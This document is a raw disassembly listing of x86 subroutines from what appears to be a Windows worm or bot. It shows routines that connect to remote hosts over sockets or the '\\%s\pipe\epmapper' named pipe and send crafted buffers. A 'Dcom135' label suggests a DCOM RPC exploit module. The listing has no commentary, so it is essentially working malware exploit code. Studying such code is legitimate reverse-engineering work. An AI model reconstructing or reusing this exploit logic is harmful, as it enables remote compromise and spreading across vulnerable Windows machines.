var_89B0	= byte ptr -89B0h
var_8948	= byte ptr -8948h
var_68D8	= byte ptr -68D8h
var_6868	= byte ptr -6868h
var_5DA4	= byte ptr -5DA4h
var_4800	= byte ptr -4800h
var_47FF	= byte ptr -47FFh
var_376C	= byte ptr -376Ch
var_2CA8	= byte ptr -2CA8h
var_2CA7	= byte ptr -2CA7h
var_2CA4	= byte ptr -2CA4h
var_2C28	= byte ptr -2C28h
var_2458	= byte ptr -2458h
var_1FAD	= byte ptr -1FADh
var_1CC0	= byte ptr -1CC0h
var_14DC	= byte ptr -14DCh
var_14CC	= byte ptr -14CCh
var_11A8	= byte ptr -11A8h
var_11A4	= byte ptr -11A4h
var_1198	= byte ptr -1198h
var_F10		= byte ptr -0F10h
var_E70		= byte ptr -0E70h
var_764		= dword	ptr -764h
var_754		= byte ptr -754h
var_740		= byte ptr -740h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
var_B0		= byte ptr -0B0h
var_AD		= byte ptr -0ADh
var_83		= byte ptr -83h
var_81		= byte ptr -81h
var_80		= byte ptr -80h
var_38		= byte ptr -38h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B0h
		call	sub_417B70
		mov	eax, dword_425AF8
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_425AFC
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_38]
		push	offset loc_425AEC
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		xor	ecx, ecx
		lea	eax, [ebp+var_FF]


loc_403406:				; CODE XREF: sub_4033C9+4Dj
		mov	dl, [ebp+ecx+var_38]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, 28h
		jl	short loc_403406
		push	60h
		lea	eax, [ebp+var_B0]
		push	offset dword_425590
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_417AF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_417490
		add	esp, 1Ch
		lea	eax, [ebp+var_38]
		push	9
		push	(offset	aC+3)
		push	eax
		call	sub_417AF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_81]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_417AF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_AD]
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_417AF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_83]
		push	eax
		call	sub_417490
		mov	ax, word_425980
		add	esp, 2Ch
		push	eax
		nop
		call	near ptr 71AB2B66h
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425290
		call	sub_417490
		add	esp, 0Ch
		cmp	[ebp+arg_C0], 0
		jz	loc_4035C0
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC0]
		push	edi
		push	90h
		push	eax
		call	sub_417430
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	ebx, dword_4259C0[eax]
		lea	eax, [ebp+var_14DC]
		push	ebx
		push	eax
		call	sub_417490
		mov	esi, offset loc_4251E0
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_14CC]
		push	esi
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_11A8]
		push	offset loc_425AE4
		push	eax
		call	sub_417490
		push	4
		lea	eax, [ebp+var_11A4]
		push	ebx
		push	eax
		call	sub_417490
		add	esp, 40h
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_1198]
		push	esi
		push	eax
		call	sub_417490
		add	esp, 10h
		xor	ecx, ecx
		lea	eax, [ebp+var_47FF]


loc_403576:				; CODE XREF: sub_4033C9+1BFj
		mov	dl, [ebp+ecx+var_1CC0]
		mov	[eax-1], dl
		and	byte ptr [eax],	0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, edi
		jl	short loc_403576
		and	[ebp+var_2CA8],	0
		and	[ebp+var_2CA7],	0
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B0]
		push	esi
		push	31h
		push	eax
		call	sub_417430
		push	esi
		lea	eax, [ebp+var_68D8]
		push	31h
		push	eax
		call	sub_417430
		add	esp, 18h
		jmp	short loc_403617
; ---------------------------------------------------------------------------


loc_4035C0:				; CODE XREF: sub_4033C9+115j
		push	7D0h
		lea	eax, [ebp+var_F10]
		push	90h
		push	eax
		call	sub_417430
		mov	esi, offset loc_4251E0
		push	esi
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_E70]
		push	esi
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_417AF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_754]
		push	eax
		call	sub_417490
		mov	eax, dword_4259C0
		add	esp, 2Ch
		mov	[ebp+var_764], eax


loc_403617:				; CODE XREF: sub_4033C9+1F5j
		push	0E29h
		lea	eax, [ebp+var_2CA4]
		push	31h
		push	eax
		call	sub_417430
		movsx	eax, [ebp+var_1]
		add	esp, 0Ch
		add	eax, 4
		mov	esi, dword_4211EC
		push	0
		push	eax
		lea	eax, [ebp+var_B0]
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403658


loc_403651:				; CODE XREF: sub_4033C9+2C0j
					; sub_4033C9+2EBj ...
		xor	al, al
		jmp	loc_403819
; ---------------------------------------------------------------------------


loc_403658:				; CODE XREF: sub_4033C9+286j
		mov	edi, dword_4211E8
		mov	ebx, 640h
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	68h
		push	offset dword_4255F4
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403651
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0A0h
		push	offset dword_425660
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403651
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		cmp	[ebp+arg_C0], 0
		jz	loc_403784
		push	68h
		lea	eax, [ebp+var_89B0]
		push	offset dword_425818
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_4800]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_8948]
		push	eax
		call	sub_417490
		push	70h
		lea	eax, [ebp+var_68D8]
		push	offset dword_425884
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_376C]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_6868]
		push	eax
		call	sub_417490
		push	84h
		lea	eax, [ebp+var_5DA4]
		push	offset dword_4258F8
		push	eax
		call	sub_417490
		add	esp, 3Ch
		lea	eax, [ebp+var_89B0]
		push	0
		push	10FCh
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403651
		push	0
		lea	eax, [ebp+var_740]
		push	ebx
		push	eax
		push	[ebp+arg_BC]
		call	edi	; recv
		push	0
		push	0FDCh
		lea	eax, [ebp+var_68D8]
		jmp	short loc_4037DC
; ---------------------------------------------------------------------------


loc_403784:				; CODE XREF: sub_4033C9+306j
		push	7Ch
		lea	eax, [ebp+var_2CA4]
		push	offset dword_425704
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_F10]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C28]
		push	eax
		call	sub_417490
		push	90h
		lea	eax, [ebp+var_2458]
		push	offset off_425784
		push	eax
		call	sub_417490
		add	esp, 24h
		and	[ebp+var_1FAD],	0
		lea	eax, [ebp+var_2CA4]
		push	0
		push	0CF8h


loc_4037DC:				; CODE XREF: sub_4033C9+3B9j
		push	eax
		push	[ebp+arg_BC]
		call	esi	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403651
		push	12Ch
		nop
		call	near ptr 7C802442h
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40327E
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403819:				; CODE XREF: sub_4033C9+28Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40381E	proc near		; CODE XREF: ___:00404931p

var_858		= byte ptr -858h
var_814		= byte ptr -814h
var_218		= byte ptr -218h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		mov	[ebp+var_8], edi
		call	sub_417430
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_18], 2
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	[ebp+arg_A0]
		mov	[ebp+var_14], eax
		nop
		call	near ptr 71AB2B66h
		push	6
		push	1
		push	2
		mov	[ebp+var_16], ax
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	loc_40391B
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_40391B
		mov	ebx, dword_4211EC
		push	edi
		push	89h
		push	offset dword_425378
		push	esi
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40391B
		push	edi
		mov	edi, 640h
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	esi
		mov	esi, dword_4211E8
		call	esi	; recv
		push	0
		push	0A8h
		push	offset dword_425404
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40391B
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	[ebp+var_4]
		call	esi	; recv
		push	0
		push	0DEh
		push	offset dword_4254B0
		push	[ebp+var_4]
		call	ebx	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40391B
		mov	ebx, [ebp+var_4]
		push	0
		lea	eax, [ebp+var_858]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		movsx	eax, [ebp+var_814]
		sub	eax, 30h
		jz	short loc_403926
		dec	eax
		jz	short loc_403922


loc_40391B:				; CODE XREF: sub_40381E+57j
					; sub_40381E+6Dj ...
		xor	eax, eax
		jmp	loc_4039E9
; ---------------------------------------------------------------------------


loc_403922:				; CODE XREF: sub_40381E+FBj
		push	0
		jmp	short loc_40394A
; ---------------------------------------------------------------------------


loc_403926:				; CODE XREF: sub_40381E+F8j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033C9
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40396A
		push	1


loc_40394A:				; CODE XREF: sub_40381E+106j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4033C9
		add	esp, 0C4h
		test	al, al
		jz	short loc_403971


loc_40396A:				; CODE XREF: sub_40381E+128j
		mov	[ebp+var_8], 1


loc_403971:				; CODE XREF: sub_40381E+14Aj
		push	ebx
		nop
		call	near ptr 71AB9639h
		cmp	[ebp+var_8], 0
		jz	short loc_4039E6
		lea	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_A8]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_425B00
		lea	eax, [ebp+var_218]
		push	200h
		push	eax
		call	sub_41792A
		push	0
		lea	eax, [ebp+var_218]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_218]
		push	eax
		call	sub_40C4F7
		mov	eax, [ebp+arg_A8]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_428C00[eax]
		lea	eax, dword_428C00[eax]


loc_4039E6:				; CODE XREF: sub_40381E+15Ej
		push	1
		pop	eax


loc_4039E9:				; CODE XREF: sub_40381E+FFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40381E	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		mov	dword ptr [esp+16Ch], 87h
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403E35
		push	2Fh
		lea	esi, [esp+0D0h]
		pop	ecx
		mov	dword ptr [esp+16Ch], 1BDh
		mov	edi, esp
		mov	ebx, eax
		rep movsd
		call	sub_404737
		add	esp, 0BCh
		test	ebx, ebx
		jnz	short loc_403A40
		test	eax, eax
		jz	short loc_403A43


loc_403A40:				; CODE XREF: ___:00403A3Aj
		push	1
		pop	eax


loc_403A43:				; CODE XREF: ___:00403A3Ej
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A47	proc near		; CODE XREF: sub_403E35+28p

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset off_426068
		lea	edi, [ebp+var_C]
		mov	ecx, 8Ah
		movsd
		movsd
		movsd
		mov	esi, offset off_426060
		lea	edi, [ebp+var_354]
		movsd
		movsw
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		rep stosd
		stosw
		mov	al, byte_43C63C
		push	45h
		mov	[ebp+var_124], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_123]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		push	0FFh
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		xor	edi, edi
		push	edi
		push	edi
		nop
		call	near ptr 7C809BF8h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B9F
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_354]
		add	esp, 10h
		mov	[esi+14h], eax
		mov	eax, offset dword_43C638
		push	edi
		push	eax
		push	eax
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+1Ch], edi
		call	dword_441458
		cmp	eax, 5
		mov	ebx, 4C3h
		jz	short loc_403B0B
		cmp	eax, ebx
		jnz	short loc_403B15


loc_403B0B:				; CODE XREF: sub_403A47+BEj
		push	edi
		push	edi
		push	edi
		push	esi
		call	dword_441458


loc_403B15:				; CODE XREF: sub_403A47+C2j
		cmp	eax, 5
		jz	short loc_403B23
		cmp	eax, ebx
		jz	short loc_403B23
		push	1
		pop	eax
		jmp	short loc_403B25
; ---------------------------------------------------------------------------


loc_403B23:				; CODE XREF: sub_403A47+D1j
					; sub_403A47+D5j
		xor	eax, eax


loc_403B25:				; CODE XREF: sub_403A47+DAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B2A	proc near		; CODE XREF: sub_403E35+7Ap
					; sub_403E35+15Ap

var_354		= byte ptr -354h
var_34E		= byte ptr -34Eh
var_124		= byte ptr -124h
var_123		= byte ptr -123h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 354h
		push	esi
		push	edi
		mov	esi, offset off_426068
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		mov	esi, offset off_426060
		lea	edi, [ebp+var_354]
		movsd
		movsw
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [ebp+var_34E]
		push	45h
		rep stosd
		stosw
		mov	al, byte_43C63C
		pop	ecx
		mov	[ebp+var_124], al
		xor	eax, eax
		lea	edi, [ebp+var_123]
		push	0FFh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_124]
		xor	esi, esi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	esi
		nop
		call	near ptr 7C809BF8h
		lea	eax, [ebp+var_124]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B9F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_354]
		push	eax
		call	sub_417B9F
		add	esp, 10h


loc_403BBB:				; CODE XREF: sub_403B2A+AFj
		push	esi
		lea	eax, [ebp+var_354]
		push	esi
		push	eax
		call	dword_4412F8
		test	eax, eax
		jz	short loc_403BDB
		push	7D0h
		nop
		call	near ptr 7C802442h
		jmp	short loc_403BBB
; ---------------------------------------------------------------------------


loc_403BDB:				; CODE XREF: sub_403B2A+A2j
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_403B2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403BE2	proc near		; CODE XREF: sub_403E35+A9p
					; sub_403E35+1E7p

var_3004	= byte ptr -3004h
var_2004	= byte ptr -2004h
var_1FE0	= byte ptr -1FE0h
var_1FD4	= byte ptr -1FD4h
var_1F2D	= byte ptr -1F2Dh
var_1004	= byte ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF4		= dword	ptr -0FF4h
var_F84		= dword	ptr -0F84h
var_F80		= dword	ptr -0F80h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F34		= dword	ptr -0F34h
var_E78		= dword	ptr -0E78h
var_CA4		= dword	ptr -0CA4h
var_C9C		= dword	ptr -0C9Ch
var_C94		= byte ptr -0C94h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h
arg_C4		= dword	ptr  0CCh

		push	ebp
		mov	ebp, esp
		mov	eax, 3004h
		call	sub_417B70
		push	esi
		push	edi
		push	offset byte_42EDC4
		mov	esi, 0A7h
		push	[ebp+arg_0]
		mov	[ebp+var_4], esi
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3004]
		push	1000h
		push	eax
		call	sub_416CC9
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	loc_403E31
		push	ebx
		mov	ebx, offset off_425F7C
		push	30h
		lea	eax, [ebp+var_2004]
		push	ebx
		push	eax
		call	sub_417490
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417430
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+var_1F2D]
		push	eax
		call	sub_417490
		add	esp, 24h
		lea	esi, [edi+0D7h]


loc_403C67:				; CODE XREF: sub_403BE2+D3j
		mov	eax, esi
		push	10h
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Ch
		jz	short loc_403CB7
		mov	esi, [ebp+var_4]
		push	30h
		lea	eax, [ebp+var_2004]
		inc	esi
		push	ebx
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417490
		push	esi
		lea	eax, [ebp+var_1FD4]
		push	0FFFFFF90h
		push	eax
		call	sub_417430
		lea	eax, [ebp+var_3004]
		push	edi
		push	eax
		lea	eax, [ebp+esi+var_1FD4]
		push	eax
		call	sub_417490
		add	esp, 24h
		lea	esi, [esi+edi+30h]
		jmp	short loc_403C67
; ---------------------------------------------------------------------------


loc_403CB7:				; CODE XREF: sub_403BE2+90j
		cmp	[ebp+arg_C4], 0
		jz	short loc_403CD2
		cmp	[ebp+arg_C0], 3
		jz	short loc_403CDB
		cmp	[ebp+arg_C0], 0
		jmp	short loc_403CD9
; ---------------------------------------------------------------------------


loc_403CD2:				; CODE XREF: sub_403BE2+DCj
		cmp	[ebp+arg_C0], 3


loc_403CD9:				; CODE XREF: sub_403BE2+EEj
		jnz	short loc_403CE4


loc_403CDB:				; CODE XREF: sub_403BE2+E5j
		push	4
		push	offset dword_42605C
		jmp	short loc_403CEB
; ---------------------------------------------------------------------------


loc_403CE4:				; CODE XREF: sub_403BE2:loc_403CD9j
		push	4
		push	offset dword_426058


loc_403CEB:				; CODE XREF: sub_403BE2+100j
		lea	eax, [ebp+var_1FE0]
		push	eax
		call	sub_417490
		add	esp, 0Ch
		lea	eax, [ebp+var_1004]
		push	360h
		push	offset dword_425B90
		push	eax
		call	sub_417490
		push	10h
		lea	eax, [ebp+var_CA4]
		push	offset dword_425EF4
		push	eax
		call	sub_417490
		lea	eax, [ebp+var_2004]
		push	esi
		push	eax
		lea	eax, [ebp+var_C94]
		push	eax
		call	sub_417490
		lea	edi, [esi+370h]
		push	3Ch
		push	offset off_425F08
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417490
		add	edi, 3Ch
		push	30h
		push	offset dword_425F48
		lea	eax, [ebp+edi+var_1004]
		push	eax
		call	sub_417490
		mov	eax, esi
		add	edi, 30h
		cdq
		sub	eax, edx
		sar	eax, 1
		add	[ebp+var_CA4], eax
		add	[ebp+var_C9C], eax
		mov	eax, [ebp+var_FFC]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FFC], eax
		mov	eax, [ebp+var_FF4]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_F84]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F84], eax
		mov	eax, [ebp+var_F80]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F80], eax
		mov	eax, [ebp+var_F50]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F50], eax
		mov	eax, [ebp+var_F4C]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F4C], eax
		mov	eax, [ebp+var_F34]
		lea	eax, [eax+esi-0Ch]
		mov	[ebp+var_F34], eax
		mov	eax, [ebp+var_E78]
		lea	eax, [eax+esi-0Ch]
		lea	esi, [edi+1]
		push	esi
		mov	[ebp+var_E78], eax
		call	sub_417BEE
		add	esp, 40h
		mov	ebx, eax
		push	esi
		push	0
		push	ebx
		call	sub_417430
		lea	eax, [ebp+var_1004]
		push	edi
		push	eax
		push	ebx
		call	sub_417490
		mov	eax, [ebp+arg_BC]
		add	esp, 18h
		mov	[eax], edi
		mov	eax, ebx
		pop	ebx


loc_403E31:				; CODE XREF: sub_403BE2+3Ej
		pop	edi
		pop	esi
		leave
		retn
sub_403BE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E35	proc near		; CODE XREF: ___:00403A0Dp
					; sub_4076D2+1E6p
					; DATA XREF: ...

var_1338	= byte ptr -1338h
var_338		= byte ptr -338h
var_234		= byte ptr -234h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h
arg_B4		= dword	ptr  0BCh

		push	ebp
		mov	ebp, esp
		mov	eax, 1338h
		call	sub_417B70
		cmp	[ebp+arg_A0], 1BDh
		push	ebx
		push	esi
		push	edi
		jnz	loc_403FA3
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_403A47
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_338]
		push	offset aSPipeEpmapper ;	"\\\\%s\\pipe\\epmapper"
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		xor	ebx, ebx
		lea	eax, [ebp+var_338]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		nop
		call	near ptr 7C801A24h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_403EBA


loc_403EAB:				; CODE XREF: sub_403E35+126j
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_403B2A
		pop	ecx
		jmp	loc_4040B3
; ---------------------------------------------------------------------------


loc_403EBA:				; CODE XREF: sub_403E35+74j
		lea	eax, [ebp+arg_4]
		push	2
		push	eax
		call	sub_40DA5C
		pop	ecx
		lea	esi, [ebp+arg_0]
		pop	ecx
		push	1
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403BE2
		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_403F52
		mov	edi, 186A0h
		push	edi
		call	sub_417BEE
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_417430
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_425B44
		push	[ebp+var_4]
		nop
		call	near ptr 7C8312E5h
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_403F42
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		nop
		call	near ptr 7C810D87h
		test	eax, eax
		jnz	short loc_403F60


loc_403F42:				; CODE XREF: sub_403E35+F3j
		push	esi
		call	sub_417C62
		push	[ebp+var_8]
		call	sub_417C62
		pop	ecx
		pop	ecx


loc_403F52:				; CODE XREF: sub_403E35+B9j
		push	[ebp+var_4]
		nop
		call	near ptr 7C809B47h
		jmp	loc_403EAB
; ---------------------------------------------------------------------------


loc_403F60:				; CODE XREF: sub_403E35+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		nop
		call	near ptr 7C80180Eh
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_417C62
		push	esi
		call	sub_417C62
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		nop
		call	near ptr 7C809B47h
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_403B2A
		cmp	edi, 1
		pop	ecx
		jnz	loc_4040C7
		jmp	loc_4040B3
; ---------------------------------------------------------------------------


loc_403FA3:				; CODE XREF: sub_403E35+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_40DA5C
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_4040B3
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_441438	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_4040B3
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_4413B8	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_4413F8	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403BE2
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_404035
		push	[ebp+var_4]
		jmp	short loc_4040AD
; ---------------------------------------------------------------------------


loc_404035:				; CODE XREF: sub_403E35+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_441360	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40404D


loc_40404A:				; CODE XREF: sub_403E35+22Aj
		push	esi
		jmp	short loc_4040A6
; ---------------------------------------------------------------------------


loc_40404D:				; CODE XREF: sub_403E35+213j
		push	ebx
		push	48h
		push	offset dword_425B44
		push	edi
		call	dword_441408	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40404A
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_4413D0	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_441408	; send
